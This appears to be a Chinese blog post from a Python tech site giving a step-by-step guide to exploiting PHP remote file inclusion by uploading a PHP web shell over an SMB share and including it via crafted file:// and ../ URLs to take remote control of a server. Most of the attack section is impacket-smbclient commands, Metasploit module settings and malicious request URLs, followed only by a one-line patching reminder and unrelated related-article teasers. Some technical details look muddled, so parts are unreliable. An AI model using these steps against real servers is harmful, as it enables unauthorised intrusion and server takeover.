使用SMB共享来绕过php远程文件包含的限制执行RFI的利用

使用SMB共享来绕过PHP远程文件包含(RFI)的限制执行是一种常见的攻击技术,也被称为SMB马(SMB-backdoor)。在这种攻击中,攻击者会通过构造恶意请求来将恶意文件上传到目标服务器上,然后将其包含到PHP代码中以达到对服务器的远程控制。

以下是完整的攻略步骤:

  1. 寻找具有远程文件包含漏洞的目标站点。

  2. 准备一个具有有效文件路径的可上传文件(例如PHP shell)。

  3. 通过SMB共享将可上传文件上传到目标服务器。可以使用工具如impacket-smbclient或Metasploit的模块进行此操作。

示例:

使用impacket-smbclient:

impacket-smbclient //<ip_address>/share -U <username>%<password>
put shell.php

使用Metasploit的模块:

use auxiliary/admin/smb/smb_phpupload
set RHOST <ip_address>
set SMBUser <username>
set SMBPass <password>
set SHARE myshare
set SHAREDISK C$
set filename shell.php
run
  1. 构造恶意请求并将可上传文件包含到PHP代码中。为了绕过远程文件包含限制,攻击者可以利用文件协议伪造绝对或相对路径,如file://///share/shell.php或../share/shell.php。

示例:

http://<target_url>/index.php?page=file:////<ip_address>/share/shell.php
http://<target_url>/index.php?page=../share/shell.php
  1. 如果一切顺利,就可以远程控制目标服务器了,使其执行任意命令、访问文件系统等等。

这种攻击技术的危害性非常大,因此建议所有开发人员和服务器管理员都密切关注漏洞信息,进行相应的补丁和安全加固操作。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 - Python技术站

(0)
上一篇 2023年5月26日
下一篇 2023年5月26日

相关文章

  • PHP字符串中提取文件名的实例方法

    下面我来详细讲解一下“PHP字符串中提取文件名的实例方法”的完整攻略。 一、获取文件名的两种方法 在PHP中,我们可以使用basename()函数或正则表达式来获取字符串中的文件名。 basename()函数 basename()函数可以获取文件的文件名,它的基本语法如下: basename( string $path , string $suffix = …

    PHP 2023年5月26日
    00
  • php 批量替换程序的具体实现代码

    针对这一话题,下面是一份详细的攻略,含有具体的实现代码: 1. 确定任务需求 我们要实现一个批量替换程序,该程序能够读取某一个目录下的所有文件,对每一个文件的内容进行指定字符串的替换操作。具体来说,我们需要: 指定目录路径 指定需要被替换的字符串 指定替换后的字符串 2. 伪代码设计 在开始编写实际代码之前,我们需要先思考一下程序的逻辑,并用伪代码进行描述。…

    PHP 2023年5月23日
    00
  • 比较好用的PHP防注入漏洞过滤函数代码

    请您详细阅读以下攻略,完整讲解“比较好用的PHP防注入漏洞过滤函数代码”的过程。 什么是SQL注入漏洞? SQL注入是一种常见的网络攻击技术,通过在Web应用程序的输入框或URL中注入恶意的SQL语句,来获取或损坏应用程序中的敏感信息。SQL注入漏洞的出现,往往是因为Web应用程序的输入校验不够严格或者过滤不到位。 如何防范SQL注入漏洞? 防范SQL注入漏…

    PHP 2023年5月30日
    00
  • PHP实现十进制、二进制、八进制和十六进制转换相关函数用法分析

    下面为您详细讲解PHP实现十进制、二进制、八进制和十六进制转换相关函数用法分析的完整攻略。 一、PHP转换进制的相关函数 在PHP中,转换进制可以使用以下函数: decbin($num): 将十进制数转换为二进制数。 decoct($num): 将十进制数转换为八进制数。 hexdec($num): 将十六进制数转换为十进制数。 bindec($num): …

    PHP 2023年5月26日
    00
  • php 数学运算验证码实现代码

    下面是“php 数学运算验证码实现代码”的完整攻略。 1. 确定验证码生成的规则 在实现数学运算验证码时,需要确定验证码的生成规则。一般情况下,数学运算验证码是由加减乘除四种运算符构成的简单算术题目,例如:6+2=?、4-1=?等等。确定好规则之后,可以使用PHP中的rand()函数生成随机的两个运算数和一个运算符,然后将其赋值给验证码。 2. 编写生成验证…

    PHP 2023年5月26日
    00
  • 使用 eAccelerator加速PHP代码的目的

    使用 eAccelerator 加速 PHP 代码的目的是为了提高 PHP 代码的执行效率,加快响应速度,降低服务器负载,提升网站性能。eAccelerator 是一个免费的开源 PHP 加速器,可以将 PHP 脚本编译成字节码,并对字节码进行缓存,从而避免重复编译和解释,提高 PHP 执行效率。以下是使用 eAccelerator 加速 PHP 代码的具体…

    PHP 2023年5月27日
    00
  • 解析php中获取系统信息的方法

    获取系统信息可以使用PHP内置函数或者系统命令来实现。以下是具体的方法: 使用PHP内置函数 1. phpinfo()函数 可以使用phpinfo()函数获取到PHP当前运行环境的所有配置和扩展信息,包括系统信息、PHP版本信息、PHP配置信息、搜索路径等。示例代码如下: <?php phpinfo(); ?> 2. get_loaded_ext…

    PHP 2023年5月30日
    00
  • 兼容PHP5的PHP目录管理函数库

    介绍PHP目录管理函数库的兼容性问题 PHP目录管理函数库通常用于文件的读写、复制、删除等操作。然而,该函数库在某些服务器上可能会因为PHP版本的问题而出现兼容性问题。为此,我们需要一套兼容PHP5的PHP目录管理函数库。 步骤一:确定PHP版本 在进行PHP目录管理函数库的使用前,首先要确定我们的服务器上安装的PHP版本是否是5或以上版本。若不满足,可以考…

    PHP 2023年5月23日
    00
合作推广
合作推广
分享本页
返回顶部